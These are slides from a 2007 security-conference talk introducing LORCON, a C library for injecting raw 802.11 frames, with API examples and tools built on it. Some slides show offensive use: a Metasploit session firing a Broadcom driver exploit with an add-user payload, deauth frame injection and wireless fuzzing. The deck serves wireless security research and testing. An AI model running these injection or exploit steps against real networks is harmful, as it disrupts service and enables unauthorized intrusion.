Extensible 802.11 Packet Flinging

ShmooCon 2007

Joshua Wright, Aruba Networks
Mike Kershaw, Aruba Networks
Introduction

• Overview, agenda
• What are we talking about?
• History of 802.11 packet injection
• Introducing LORCON
• LORCON applications and uses
• Closing and questions
Your Speakers

• Joshua Wright, Aruba Networks
  - Author of a bunch of one-off tools (Asleap, coWPAtty, file2air, bluepinning, jrockets)
  - Wireless security research for Aruba

• Mike Kershaw, Aruba Networks
  - Wrote Kismet, WiSpy for Linux
  - Aruba product security analyst
Our Agenda

• Much of the intricacies of wireless networking has been unexplored
  - There's plenty of good stuff to find still
• Introducing a framework for experimentation on 802.11 networks
• You should already know:
  - Basic programming concepts
  - Knowledge of C is helpful
  - General idea of how IEEE 802.11 works
What is 802.11 Packet Injection?

- Most wireless drivers were not written to send 802.11 frames from userspace
- 802.11 packet injection (rawtx) sends 802.11 frames without driver molestation
- Not the same as standard packet injection (manipulation at layer 2+)

<table>
<thead>
<tr>
<th>Bytes</th>
<th>6</th>
<th>6</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Dest.</td>
<td>Source</td>
<td>Type</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Bytes</th>
<th>2</th>
<th>2</th>
<th>6</th>
<th>6</th>
<th>6</th>
<th>2</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>FC</td>
<td>Dur.</td>
<td>Addr. 1</td>
<td>Addr. 2</td>
<td>Addr. 3</td>
<td>Seq. Ctrl</td>
<td>QoS Ctrl</td>
</tr>
</tbody>
</table>

TKIP/CCMP Header
WEP Header
Data
Mgmt. Frame Options

Extended Header and Related Table entries:
Why Do We Need This?

• Conventional interoperability testing has limited scope and focus
  - Making sure everyone plays nice together
• What happens when people don't play nice together?
• What kind of attacks are possible?
• What kind of defenses can be discovered through attack analysis?
• Can we improve performance and reporting of network events?
Brief History of 802.11 Packet Injection
In the Beginning...

- **libradiate** - Mike Schiffman (7/2002)
  - Hack of HostAP drivers with userspace packet crafting similar to libnet, not maintained
- **Airjack** - Mike Lynn
  - Drunken Defcon release 8/2002
  - New driver written to do bad things to good networks, not maintained
- **Scapy** adds support for limited drivers (3/2004)
- **Aireplay** hacks up modern hostap (6/2004)
- **KoreK** releases Chopchop using wlan-ng drivers (9/2004)
More Drivers, Please

• Feb. 2005 - each 802.11 tool needing rawtx uses a different driver
  - Ended up dedicating a card to each app
• Driver changes come out, apps are all broken and require new patches
• New drivers and cards, but no app support
• Everyone has their own patches too…

WAIT ... THIS SUCKS
The Revelation

<jwright> I'm sick of re-writing tools each time we figure out raw TX on a new driver. <dragorn> Yeah <jwright> We're being stupid about this. Why don't we create an abstraction layer for developers that handles all the card setup nonsense. <dragorn> We can use function pointers. <jwright> Yeah! <dragorn> We can call it LORCON, I'll setup a SVN repository.

We decided to fix this problem with a smarter solution: LORCON
Introducing LORCON
What is LORCON?

- Framework for experimentation on 802.11 wireless networks
- Abstraction mechanism that handles driver oddities for the developer
- You work on features, we handle driver ridiculousness
- C library, simple API for crafting and transmitting 802.11 frames
- User identifies their driver when they run your tool, not tied to any specified card/driver

You write apps given a set of generic or specific card capabilities, we handle the rest
LORCON Features

- Driver capability differentiation
- Abstraction from driver and OS dependencies
- 802.11 packet crafting capabilities
- GPLv2, lightweight footprint
- Driver support for:
  - wlan-ng, Hostap, Airjack, Prism54, madwifi-old, madwifi-ng, rt2500, rt2570, rt73, rt61, rtl8180, Airpcap
- "Give me a frame and I'll transmit it"
  - Within the user's card hardware constraints
  - No preconceived notion of "good" packets
LORCON for the Impatient

tx80211_init(...); // Initialize context for
                // the interface

tx80211_initpacket(...); // Initialize context for
                         // a packet

tx80211_setfunctionalmode(...); // Change the card mode
                        // to the desired function

tx80211_setchannel(...); // Switch to a given
                       // channel

tx80211_open(...); // Open the interface

tx80211_txpacket(...); // Transmit the packet

tx80211_close(...); // Cleanup
Identifying the Driver

int tx80211_resolvecard(const char *in_str);

User specifies case-agnostic driver name ("madwifing"), resolves if driver is supported by LORCON or not. Allows your app to support new cards as they are added to LORCON.

<table>
<thead>
<tr>
<th>INJ_NODRIVER</th>
<th>Driver name not recognized</th>
</tr>
</thead>
<tbody>
<tr>
<td>&gt;0</td>
<td>LORCON supported driver identifier</td>
</tr>
<tr>
<td>in_str</td>
<td>User-supplied driver description</td>
</tr>
</tbody>
</table>

#include <tx80211.h>
int drivertype = INJ_NODRIVER, c;
while ((c = getopt(argc, argv, "d:")) != EOF) {
    switch(c) {
    case 'd':
        drivertype = tx80211_resolvecard(optarg);
        break;
    }
} if (drivertype == INJ_NODRIVER)
    fprintf(stderr, "Driver name not recognized.\n");
**Initialization**

```c
int tx80211_init(tx80211_t *in_tx, const char *ifname, int injector);
```

| Initialization | TX80211_ENOERR | No error, initialization success |
|----------------|----------------|---------------------------------
|                | TX80211_ENOSUCHINJ | Injection type not supported   |
| in_tx          | LORCON per-interface context |
| ifname         | Interface name          |
| injector       | LORCON driver indicator value returned by tx80211_resolvecard() |

```c
tx80211_t in_tx;
char *iface = argv[1];
char *drivertype = argv[2];
if (tx80211_init(&in_tx, iface, tx80211_resolvecard(drivertype))
    != TX80211_ENOERR)
    return -1
```
Driver Capabilities

```c
int tx80211_getcapabilities(tx80211_t *in_tx);
```

Returns capability bitmask for the initialized driver. Optionally follows tx80211_init(). List of capabilities are defined in the man page. Use this feature to identify if the driver supports what your application needs to do (specific frame types, header field controls, transmission rate manipulation, modulation mechanisms, etc).

<table>
<thead>
<tr>
<th>Return &gt;= 0</th>
<th>Bitmask of capabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>Return 0</td>
<td>No driver capabilities found</td>
</tr>
<tr>
<td><code>in_tx</code></td>
<td>LORCON per-interface context</td>
</tr>
</tbody>
</table>

/* TX80211_CAP_FRAG indicates the initialized driver allows us to preserve the MOREFRAG bit and the fragment number field */
if ((tx80211_getcapabilities(&in_tx) & TX80211_CAP_FRAG) == 0)
    fprintf(stderr, "Sorry, driver does not support "
             "manipulating fragmentation fields.\n");
### Operating Modes

```c
int tx80211_setfunctionalmode(tx80211_t *in_tx, int in_fmode);
```

Configures the card based on how your application needs to use it. Must follow tx80211_init().

<table>
<thead>
<tr>
<th>TX80211_ENOERR</th>
<th>No error, mode change successful</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt; TX80211_ENOERR</td>
<td>Error setting functional mode</td>
</tr>
<tr>
<td><code>in_tx</code></td>
<td>LORCON per-interface context</td>
</tr>
<tr>
<td><code>in_fmode</code></td>
<td>Functional mode:</td>
</tr>
<tr>
<td></td>
<td>TX80211_FUNCMODE_RFMON</td>
</tr>
<tr>
<td></td>
<td>TX80211_FUNCMODE_INJECT</td>
</tr>
<tr>
<td></td>
<td>TX80211_FUNCMODE_INJMON</td>
</tr>
</tbody>
</table>

```c
if (tx80211_setfunctionalmode(&in_tx, TX80211_FUNCMODE_INJMON)) {
    fprintf(stderr, "Error setting functional mode: %s\n",
            tx80211_geterrstr(&in_tx));
    return -1;
}
```
Opening the Interface

int tx80211_open(tx80211_t *in_tx);

...
Packet Initialization

void tx80211_initpacket(tx80211_packet_t *in_packet);

Initializes the per-packet context. Must be called before sending the identified packet context with tx80211_txpacket().

- in_packet: LORCON per-packet context

/* We need to send data packets and deauth packets rapidly, so we have two packet contexts to use for transmission. */

tx80211_packet_t in_packet_deauth;
tx80211_packet_t in_packet_data;
tx80211_initpacket(&in_packet_deauth);
tx80211_initpacket(&in_packet_data);
Transmitting Packets

```c
int tx80211_txpacket(tx80211_t *in_tx, tx80211_packet_t *in_packet);
```

<table>
<thead>
<tr>
<th>Return &gt;0</th>
<th>Number of bytes transmitted</th>
</tr>
</thead>
<tbody>
<tr>
<td>TX80211_ENOTX</td>
<td>0 bytes transmitted</td>
</tr>
<tr>
<td>TX80211_EPARTTX</td>
<td>Partial frame transmitted</td>
</tr>
</tbody>
</table>

**in_tx**
LORCON per-interface context

**in_packet**
LORCON per-packet context

```c
uint8_t packet[] = "\xd4\x00\x00\x00\x00\x13\xce\x55\x98\xef";
in_packet.packet = packet;
in_packet.plen = 10;
if (tx80211_txpacket(&in_tx, &in_packet) != 10) {
    fprintf(stderr, "Error: %s\n", tx80211_geterrstr(in_tx));
}
```
Closing Up

```c
int tx80211_close(tx80211_t *in_tx);

<table>
<thead>
<tr>
<th>TX80211_ENOERR</th>
<th>No error, close successful</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt; TX80211_ENOERR</td>
<td>Error closing</td>
</tr>
<tr>
<td>in_tx</td>
<td>LORCON per-interface context</td>
</tr>
</tbody>
</table>
```

if (tx80211_close(&in_tx) != TX80211_ENOERR) {
    fprintf(stderr, "Error closing the interface %s: %s\n",
               in_tx->ifname, tx80211_geterrstr(&in_tx));
    return -1;
}
#include <tx80211.h>
int main(int argc, char *argv[]) {
    tx80211_t tx;
    tx80211_packet_t txp;
    uint8_t packet[] = "\xc4\x00\xff\x7f\x00\x13\xce\x55\x98\xef'';

    /* argc sanity check argv[1] is the interface, argv[2] is the driver name */
    if (tx80211_init(&tx, argv[1], tx80211_resolvecard(argv[2])) != TX80211_ENOERR)
        die(&tx);

    if ((tx80211_getcapabilities(&tx) & TX80211_CAP_CTRL) == 0)
        die(&tx);

    if (tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON) != TX80211_ENOERR)
        die(&tx);

    if (tx80211_open(&tx) != TX80211_ENOERR)
        die(&tx);

    tx80211_initpacket(&txp);
    txp.packet = packet;
    txp.packet = sizeof(packet); /* :P */
    if (tx80211_txpacket(&tx, &txp) < txp.plen)
        die(&tx);
    tx80211_close(&tx);
    return 0;
}
LORCON Internals

- tx80211_init() sets up function pointers for the identified driver type
- tx80211_open(), etc. can be different for each driver type
- As new drivers are added, new functions are built as needed

```c
class tx80211 {
    /* trimmed for brevity */
    int (*open_callthrough) (struct tx80211 *);
    int (*close_callthrough) (struct tx80211 *);
    int (*setfuncmode_callthrough) (struct tx80211 *, int);
    int (*setchan_callthrough) (struct tx80211 *, int);
    int (*txpacket_callthrough) (struct tx80211 *,
        struct tx80211_packet *);
};
typedef struct tx80211 tx80211_t;
```
Special Notes

• MADWIFI-NG is its own special beast
  - If VAP is in monitor mode, we use it
  - If you pass master interface, we destroy all VAP's and create "lorcon0"

• Intel Centrino 2200/2915 and 2100 have firmware restrictions preventing rawtx
  - Non-mainline 3945 driver appears to have hacked rawtx in, will add support soon

• For a good USB 802.11 dongle, we recommend the rt73 chipset
  - Belkin Wireless G USB #F5D7050

• We strive to have a complete and useful man page
LORCON Packet Crafting
Creating 802.11 Frames

- LORCON transmits a u8 array of data
  - You can specify your own frames if you want
- Alternative: LORCON Packet Forging
  - Simple interface for forging frames
- Still under development, feedback desired

What happens when you send RTS frames to the broadcast address?

```c
lcpa_metapack_t *metapack;
uint8_t txmac[6];
uint8_t targetmac[] = "\xff\xff\xff\xff\xff\xff";
metapack = lcpa_init();
tx80211_initpacket(&txpack);
srand(time(NULL));
lcpf_randmac(txmac, 1);
```

```c
lcpf_rts(metapack, targetmac, txmac, 0x00, /* fcflags */ 0x00, /* duration */
        lcpa_freeze(metapack, &txpack);
lcpa_free(metapack);
tx80211_txpacket(in_tx, &txpack);
```
LORCON Applications and Uses
File2air

- Inject arbitrary binary files as 802.11 frames
- Useful for one-off testing without writing code
- Includes several sample packets
- Useful with Wireshark's Export Packet Bytes
  - File → Export → Selected Packet Bytes
- Can fragment payloads and spoof sequence numbers based on driver capabilities
- Override addresses with command-line args

```
# ./file2air -i wifi0 -c 48 -f packets/deauth.bin -p 2 -r madwifing
file2air v1.0RC4 - inject 802.11 packets from binary files <jwright@hasborg.com>
Transmitting packets ... Done
#  
```

http://802.11ninja.net/code/file2air-current.tgz
l2ping80211

- Verifies reachability of target wireless station using various L2 tests
  - Regardless of encryption in use
- I can't think of a use for this, why would we need to repeatedly check the responsiveness of a target host?

Sample application included with LORCON; "make l2ping80211"
LORCON on the Nokia 770
AirPWN

- Bryan Burns, Defcon 12
- AirPWN 0.50c before LORCON
  - Supports HostAP driver only (802.11b only)
  - Requires 2 cards to operate (listen, transmit)
  - Only runs on Linux
- AirPWN after LORCON
  - Supports all cards LORCON supports, and all modulation mechanisms
  - Only requires one card
  - Removed ~100 lines of socket code
  - Runs on ... Windows?
AirPWN on Windows

• Airpcap: Commercial adapter
  - TX support in driver beta, to be released "real soon now"

AND NOW FOR A LITTLE GOATSEA

http://802.11ninja.net/code/airpwn-windows.zip
What, you prefer tubgirl?
Wireshark WiFi Injection Patch

- Patch to Wireshark by Asier Martínez
  - Select 802.11 frame, r-click Packet → Send WiFi Frame
  - Use hex editor to modify, send repeatedly

What happens when the WPA key length is 0xffffff?

http://axi.homeunix.org/wishark_patch.html
Airbase

- Collection of tools for manipulating wireless networks (rock on Johnycsh!)
- Fuzzers, accelerated WEP cracking, frame manipulation tools, oh my!

```bash
# ./fuzz-e -P rausb0 -A -T 0 -S 5 -i wifi0 -r madwifing -f pcap-out.dump -c 11 -n 100 -w u1000 -R -E
logging.txt -D dest-addys.txt
fuzz-e <johncsh@gmail.com>
Reading in destination addys.
00:13:CE:55:98:EF
----fuzz-e-cfg summary----
Autonomous mode: 1
type value: 0
subtype value: 5
random times: 1
DestFilename dest-addys.txt
Event Log logging.txt
Num Hosts 1
00:13:CE:55:98:EF
-------------------------
00:13:CE:55:98:EF maps to 172.16.0.108
PING 172.16.0.108 (172.16.0.108) 56(84) bytes of data.
From 172.16.0.110 icmp_seq=1 Destination Host Unreachable
```

http://www.802.11mercenary.net/downloads/
Metasploit Framework

\[\text{metasploit}\]

\[
\text{'\_,\_\_\\(oo)____\(\_\_\)\}\\|\_\_\_\_\_\_\}
\]

=[ msf v3.0-beta-dev
+ -- --=[ 178 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
+ = [ 30 aux

msf > use windows/driver/broadcom_wifi_ssid
msf exploit(broadcom_wifi_ssid) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
msf exploit(broadcom_wifi_ssid) > set INTERFACE wifi0
INTERFACE => wifi0
msf exploit(broadcom_wifi_ssid) > set DRIVER madwifing
DRIVER => madwifing
msf exploit(broadcom_wifi_ssid) > set PASS moo
PASS => moo
msf exploit(broadcom_wifi_ssid) > exploit
[*] Sending beacons and responses for 60 seconds...
Ruby + LORCON

- Ruby module from the Metasploit Framework

```ruby
require "Lorcon"
packet=[0xc4,0x00,0xff,0x7f,0x00,0x13,0xce,0x55,0x98,0xef].pack('C*')

puts "Initializing LORCON using wifi0 and madwifing driver"
tx = Lorcon::Device.new('wifi0', 'madwifing', 1)
puts "Changing channel to 11"
tx.channel = 11

# Send the frame 500 times with no inter-frame delay
sa = Time.now.to_f
tx.write(packet, 500, 0)
ea = Time.now.to_f - sa
puts "Sent 500 packets in #{ea.to_s} seconds"
```

```bash
$ sudo ruby testlorcon.rb
Initializing LORCON using wifi0 and madwifing driver
Changing channel to 11
Sent 500 packets in 0.00940299034118652 seconds
```
Kismet + LORCON

- Kismet newcore server and client plugin
- Defined new capture source type "lorcon" for rfmon+rawtx
- Decloaks SSIDs automatically
  - Locks channel hopper
  - Broadcast deauth to all stations
  - Waits for stations to rejoin
  - Restored channel hopping
- Can do many other things, good and bad
How Do I get LORCON?

- http://802.11ninja.net/lorcon
  - Trac wiki, bug database, documentation, slides
- Most current code: "svn co http://802.11ninja.net/svn/lorcon"
- lorcon@802.11ninja.net
  - Yes: Can we get XXX driver support?
  - Yes: Here's a patch for something I wanted
  - Yes: I'm really into writing docs and I want to help out!
  - No: Can you send me the source to Airjack?
  - No: How can I get free Internet access?
Why Should I Use LORCON?

- Simplifies your code (no more driver nonsense)
- Makes your app useful longer than a single given driver
  - When IEEE 802.11n drivers come out with rawtx support, we'll add them to LORCON
  - Now your app supports 802.11n with no code changes and without even a relink
  - When IEEE 802.11y drivers come out ...
- Stable, simple API; short learning curve
- We'll pimp your app on 802.11ninja.net
Next Steps

• LORCON on more embedded platforms
  - LORCON on your phone!
• Support for BSD
  - If you know how rawtx can/does work on BSD, please see us
• Complete LORCON Packet Forge API
• Formal Ruby interface
• Ongoing driver additions
• Massive chaos and mayhem
FIN

• Thanks to
  - Jon Ellch, HDM, Dave Maynor, Bryan Burns, Christophe Devine, KoreK, Laurent Butti, Asier Martínez, Raul Siles, Mike Lynn, Shmoocon

Joshua Wright
jwright@arubanetworks.com
jwright@hasborg.com

Mike Kershaw
mkershaw@arubanetworks.com
dragorn@kismetwireless.net

Live in or willing to relocate to San Jose/Sunnyvale CA and want to break wireless stuff for a living? Please see Mike or Josh.

Angry cookie photograph by Mike Kershaw